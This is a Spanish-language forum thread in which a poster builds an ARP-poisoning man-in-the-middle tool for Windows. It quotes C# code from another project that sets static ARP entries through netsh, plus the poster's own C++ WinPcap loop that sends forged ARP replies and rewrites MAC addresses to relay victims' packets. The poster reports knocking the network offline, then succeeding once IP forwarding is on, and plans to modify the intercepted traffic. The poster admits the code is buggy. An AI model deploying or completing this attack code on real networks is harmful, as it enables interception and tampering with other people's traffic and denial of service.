Buenas a todos,

sigo tratando de hacer funcionar un MITM, que tengo para windows en C++, en resumen lo que hace es envenenar la red, haciendose pasar por el router para las victimas y por cliente para el router, enviando así las peticione que nos hacen las victimas al router con la ip de las victimas y nuestra mac, ademas al router le decimos que a todas las ips de los clientes de la red les corresponde mi mac, asi cuando el router devuelva el paquete, se lo devuelva a la direccion ip que lo solicitó que estará asociada a nuestra mac, por lo que nosotros obtendremos el paquete, y luego nosotros recojemos la ip del paquete y lo reenviamos a la victima haciendonos pasar por router, pero algo falla pues consigo llegar a hacer denegacion de servicio a la red, pero no consigo dar conexión a los equipos de la red, se quedan cargando y no hay solución. He probado a establecer ip fordwarding pero el resultado es el mismo. No tengo la tarjeta de red en modo monitor, esta en modo normal, ¿puede ser eso?.

Os dejo una captura de lo que hace cuando trato de atacar a mi propio movil en la red:



Aparece la ip del router y la ip del movil, y tambien son paquetes nuestros ya que nosotros interactuamos conel router con la ip de la victima y nuestra mac en los paquetes, y a la victima con la ip del router y nuestra mac.

He visto proyectos de MITM como tomahawk hechos en C#, y lo que hacía era una tabla de ARP estática:

 // static ARP entry manipulation (IP, MAC, friendly interface name, add/remove)
        public bool StaticARP(string IP, PhysicalAddress mac, string WinName, StaticARPOperation operation)
        {
            OperatingSystem system = Environment.OSVersion;
 
            // format MAC address
            var macString = Network.FriendlyPhysicalAddress(mac).Replace(":", "-").ToLower();
 
            // prepare process
            Process p = new Process();
 
            p.StartInfo.CreateNoWindow = true;
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.WorkingDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Windows);
            p.StartInfo.FileName = "cmd";
 
            // Vista, Windows 7/8 - use "netsh"
            if (system.Version.Major > 5)
            {
                if(operation == StaticARPOperation.Add)
                    p.StartInfo.Arguments = "/k netsh interface ip delete neighbors \"" + WinName + "\" " + IP + " && netsh interface ip add neighbors \"" + WinName + "\" " + IP + " " + macString + " && exit";
                else
                    p.StartInfo.Arguments = "/k netsh interface ip delete neighbors \"" + WinName + "\" " + IP + " && exit";
 
                p.Start();
                p.WaitForExit();
 
                p.Dispose();
 
                return true;
            }
 
            p.Dispose();
 
            return false;
        }

¿Será esto necesario?, uno de los problemas que puedo tener es que el SO manda datos con los datos correctos a los demás ordenadores, y muchas veces se siente engañado, ¿cómo podría solucionar eso en caso de que sea el problema? ¿sino lo es, que puede ocurrir?

He de añadir, que lo que hago ahora es un flooding de arp-poisoning, cuando me funcione así ya pasaré a hacerlo pasivo, pero de momento es de prueba, los hosts de la red me reconocen a mi como AP, pero no paso de la denegación de servicio.

Saludos y gracias por la ayuda, si os animáis a echar una mano.

Hola Andavid gracias por colaborar, en efecto la primera imagen hace referencia al wireshark capturando todos los paquetes que pasan a través de mi, y la segunda no es de mi programa en C++ está en C# y me pregunto si será necesario pasar ese code a C# para que funcione el MITM, pero no creo.

Lo que hace mi programa es simplemente hacer arp spoofing y reedirigir los paquetes entrantes cambiando las MACs, pero no redirige correctamente y solo hago denegación de servicio.

He estado informándome para hacer el MITM, y quizás deba de poner la tarjeta de red de la interfaz que usa conexión a internet (la de la red) en modo promiscuo (algo que hasta hace un momento no sabía si era necesario hacerlo pues pienso/pensaba que con mi método no debería hacer falta):

http://windows7themes.net/en-us/enable-promiscuous-mode-manually-in-windows-7/

Aquí dice como poner en modo promiscuo una interfaz de red en windows con comando, quizás se pueda hacer trabajando con el registro ya investigaré al respecto.

Mi pregunta es, ¿debo redirigir yo los paquetes o mediante ip fordwarding y poniendo la tarjeta de red en modo promiscuo ya debería de hacer el MITM con solo añadir arp spoofing? ¿No?

Estoy venga a buscar info, y creo que esa puede ser una salida, pero lo que quiero es modificar los paquetes entrantes para hacer ataques de red, de hacking ético hacer simplemente pruebas y testear cosas. No se si así podré tener acceso a los paquetes ya que el propio sistema los estará redirigiendo y no yo, pero bueno lo primero es probar que funcione lo que he dicho.

Entonces ¿modo promiscuo con un comando (o probare esto tbn: https://support.microsoft.com/es-es/kb/264715) + arp spoofing + ip fordwarding = MITM trabajando?

Saludos seguiré con ello, gracias por colaborar.

Edito: No funciona el comando del primer link, me pregunto si los del segundo link funcionará para ponerlo en modo promiscuo ya que la carpeta no existe en el registro de win10, ¿es necesario ponerlo en modo promiscuo para hacer el mitm o no?.

Saludos.

Edito: Por cierto pongo el código que reenvía paquetes de mi programa en C++, si es arp lo reenvía envenenando al origen y destino, si es tcp cambio las mac origen y destino y reenvio, aviso que tiene fallos y no serán pocos, y falta implementar para más paquetes, pero si lo dejé de implementar es porque fallaba, no llega a haber conexión, está tarde lo miraré más afondo, saludos.

void reenviando_mitm(volatile bool *on_mitm, pcap_t *capturador, u_char *ip_propia, u_char *mac_propia, u_char *ip_gateway, u_char *mac_gateway, lista_usuarios* lista)
{
	u_char mac_broadcast[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };//
	struct pcap_pkthdr *header;
	const u_char *pkt_data;
 
	while (int res = pcap_next_ex(capturador, &header, &pkt_data) >= 0 && *on_mitm){
 
		if (res == 0)
			continue;
 
		if (header->caplen <= MAXIMO_TAMAÑO_ARP){/////////////////
			if (pkt_data[12] == '\x08' &&
				pkt_data[13] == '\x06'){
 
				u_char *paquete = new u_char[42]();
				u_char ip_origen[4];
				u_char ip_destino[4];
				u_char mac_origen[6];
				u_char mac_destino[6];
 
				if (!lista->contiene_ip(ip_destino)){
					continue;
				}
 
				memcpy(ip_origen, pkt_data + 28, sizeof(u_char)* 4);
				memcpy(ip_destino, pkt_data + 38, sizeof(u_char)* 4);
				memcpy(mac_origen, pkt_data + 22, sizeof(u_char)* 6);
				memcpy(mac_destino, pkt_data + 32, sizeof(u_char)* 6);
 
				//OJO A ESE IP_DESTINO EL PAQUETE VENDRA A NOSOTROS??
 
				if (memcmp(mac_origen, mac_propia, sizeof(u_char)* 6) == 0)
					continue;
 
				if (memcmp(mac_origen, mac_gateway, sizeof(u_char)* 6) == 0){//es de gateway
					if (memcmp(mac_destino, mac_broadcast, sizeof(u_char)* 6) == 0){//pregunta a broadcast
						//WARNING PUEDE LLLEGAR A TI DIFERENCIAR.
						paquete = respuesta_arp(true, ip_gateway, mac_propia, ip_destino, NULL);
						pcap_sendpacket(capturador, paquete, 42);
						paquete = respuesta_arp(false, ip_propia, mac_propia, ip_gateway, mac_gateway);
						pcap_sendpacket(capturador, paquete, 42);
					}
					else{
						paquete = respuesta_arp(false, ip_propia, mac_propia, ip_gateway, mac_gateway);
						pcap_sendpacket(capturador, paquete, 42);
					}
				}
				else{
					if (memcmp(mac_destino, mac_broadcast, sizeof(u_char)* 6) == 0)//pregunta a la broad un host.
					{
						paquete = respuesta_arp(true, ip_gateway, mac_propia, ip_origen, NULL);
						pcap_sendpacket(capturador, paquete, 42);
						paquete = respuesta_arp(false, ip_propia, mac_propia, ip_gateway, mac_gateway);
						pcap_sendpacket(capturador, paquete, 42);
					}
					else//me pregunta a mi solo un host.
					{
						paquete = respuesta_arp(false, ip_gateway, mac_propia, ip_origen, mac_origen);
						pcap_sendpacket(capturador, paquete, 42);
					}
				}
				continue;
			}
		}
		/////////////////////////7
 
		//el router me lo dice y yo se lo digo a el
		if (pkt_data[12] == '\x08' && pkt_data[13] == '\x00'){
			//al reenviar paquetes el router ve que vienen de mi mac y al ser de otra ip cancela.
			u_char mac_origen[6];
			memcpy(mac_origen, pkt_data + 6, sizeof(u_char)* 6);
 
			if (memcmp(mac_origen, mac_gateway, sizeof(u_char)* 6) == 0){
 
				u_char ip_origen[4];
				u_char ip_destino[4];
				u_char *mac_destino = new u_char[6]();
				bool continua = true;
 
				memcpy(ip_origen, pkt_data + 26, sizeof(u_char)* 4);
				memcpy(ip_destino, pkt_data + 30, sizeof(u_char)* 4);
				memcpy(mac_destino, pkt_data, sizeof(u_char)* 6);
 
				//control.lock();
				mac_destino = lista->obtener_mac(ip_destino);
				//control.unlock();
 
				if (mac_destino == NULL)
					continua = false;
				else{
					memcpy(const_cast<u_char*>(pkt_data), mac_destino, sizeof(u_char)* 6);
					memcpy(const_cast<u_char*>(pkt_data + 6), mac_propia, sizeof(u_char)* 6);
				}
 
				if (!continua)
					continue;
			}
			else{
				memcpy(const_cast<u_char*>(pkt_data), mac_gateway, sizeof(u_char)* 6);
				memcpy(const_cast<u_char*>(pkt_data + 6), mac_propia, sizeof(u_char)* 6);
			}
			pcap_sendpacket(capturador, pkt_data, header->caplen);
		}
	}
	*on_mitm = false;
}
 

No entiendo, el tomahawk es un proyecto de github y puede hacer el mitm sin problemas, ¿pone la tarjeta en modo promiscuo? creo que no!.

Aver que me lio, estoy usando winpcap, YA ESTOY TRABAJANDO EN MODO PROMISCUO!!


DELICATESSE EDITION FROM KAXPERDAY <3 <3: Solucionado el MITM era mucho más sencillo de lo que pensaba, claro está es difícil si nunca lo has implementado y no encuentras apenas cosas de gente que lo ha implementado, simplemente OMFG hay que hacer arp spoofing y establecer ip fordwarding, y ya tienen conexión y tienes acceso a sus paquetes OMFG mirad que función hice para nada!!! OMFG!! <3 <3 <3 <3 <3 <3 3< <3[/b][/glow], ahora probaré a editar los lindos paquetes, fdo: kaxperday

My best regards!
Ahora el problema estará que reenvia todos los paquetes, y si queremos modificarlos para cuando lo vayamos a hacer ya lo habrá reenviado mm.